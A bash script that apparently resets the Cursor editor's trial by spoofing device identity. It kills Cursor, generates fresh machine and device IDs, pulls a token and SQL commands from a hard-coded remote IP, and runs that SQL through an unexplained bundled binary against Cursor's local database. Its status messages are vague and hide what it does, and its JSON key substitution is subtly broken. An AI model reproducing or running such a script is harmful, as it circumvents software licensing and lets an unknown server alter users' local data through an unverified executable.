#!/bin/bash

SQLITE_PATH="./sunai"
if [ ! -f "$SQLITE_PATH" ]; then
    echo "\033[31m[-] Required component not found\033[0m"
    echo "\033[31m[-] Please check installation\033[0m"
    exit 1
fi

chmod +x "$SQLITE_PATH"

echo "\033[33m[*] Initializing...\033[0m"
RESPONSE=$(curl -s "http://150.109.118.217:5800/api/config")

if [ $? -eq 0 ] && [[ "$RESPONSE" == *"success"* ]]; then
    # 解析 JSON 响应
    NEW_TOKEN=$(echo "$RESPONSE" | python -c "import sys, json; print(json.load(sys.stdin)['data']['token'])")
    DB_PATH=$(echo "$RESPONSE" | python -c "import sys, json, os; path=json.load(sys.stdin)['data']['p']['mac'].replace('~', os.path.expanduser('~')); print(path)")
    STORAGE_PATH=$(echo "$RESPONSE" | python -c "import sys, json, os; path=json.load(sys.stdin)['data']['s']['mac'].replace('~', os.path.expanduser('~')); print(path)")
    ACCESS_TOKEN_KEY=$(echo "$RESPONSE" | python -c "import sys, json; print(json.load(sys.stdin)['data']['k']['a'])")
    REFRESH_TOKEN_KEY=$(echo "$RESPONSE" | python -c "import sys, json; print(json.load(sys.stdin)['data']['k']['b'])")
    
    # 生成新的设备标识
    MACHINE_ID=$(python -c "import uuid; print(''.join([hex(ord(c))[2:] for c in str(uuid.uuid4())[:20]]))")
    MAC_MACHINE_ID=$(python -c "import uuid; print(''.join([hex(ord(c))[2:] for c in str(uuid.uuid4())[:20]]))")
    SQM_ID=$(python -c "import uuid; print('{' + str(uuid.uuid4()).upper() + '}')")
    DEV_DEVICE_ID=$(python -c "import uuid; print(uuid.uuid4())")
    
    echo "\033[32m[+] Successfully initialized\033[0m"
else
    echo "\033[31m[-] Initialization failed\033[0m"
    echo "\033[31m[-] Please check your network connection\033[0m"
    exit 1
fi

# 检查并关闭 Cursor 进程
if pgrep -x "Cursor" > /dev/null; then
    echo "\033[33m[*] Preparing environment...\033[0m"
    pkill -x "Cursor"
    sleep 2
fi

# 备份数据库
cp "$DB_PATH" "$DB_PATH.backup" 2>/dev/null

# 更新设备标识
if [ -f "$STORAGE_PATH" ]; then
    cp "$STORAGE_PATH" "$STORAGE_PATH.backup" 2>/dev/null
    TMP_FILE=$(mktemp)
    cat "$STORAGE_PATH" | python -c "
import sys, json, os
data = json.load(sys.stdin)
data['$response.data.i.m'] = '$MACHINE_ID'
data['$response.data.i.n'] = '$MAC_MACHINE_ID'
data['$response.data.i.s'] = '$SQM_ID'
data['$response.data.i.d'] = '$DEV_DEVICE_ID'
json.dump(data, sys.stdout)
" > "$TMP_FILE"
    mv "$TMP_FILE" "$STORAGE_PATH" 2>/dev/null
fi

# 获取 SQL 命令
SQL_COMMANDS=$(echo "$RESPONSE" | python -c "import sys, json; print(json.load(sys.stdin)['data']['q']['t'].format('$NEW_TOKEN', '$ACCESS_TOKEN_KEY', '$REFRESH_TOKEN_KEY'))")

echo "\033[32m[*] Processing...\033[0m"
echo "$SQL_COMMANDS" | "$SQLITE_PATH" "$DB_PATH" 2>/dev/null

echo "\n\033[32m[+] Operation completed successfully\033[0m"
echo "\033[32m[+] You may restart the application now\033[0m" 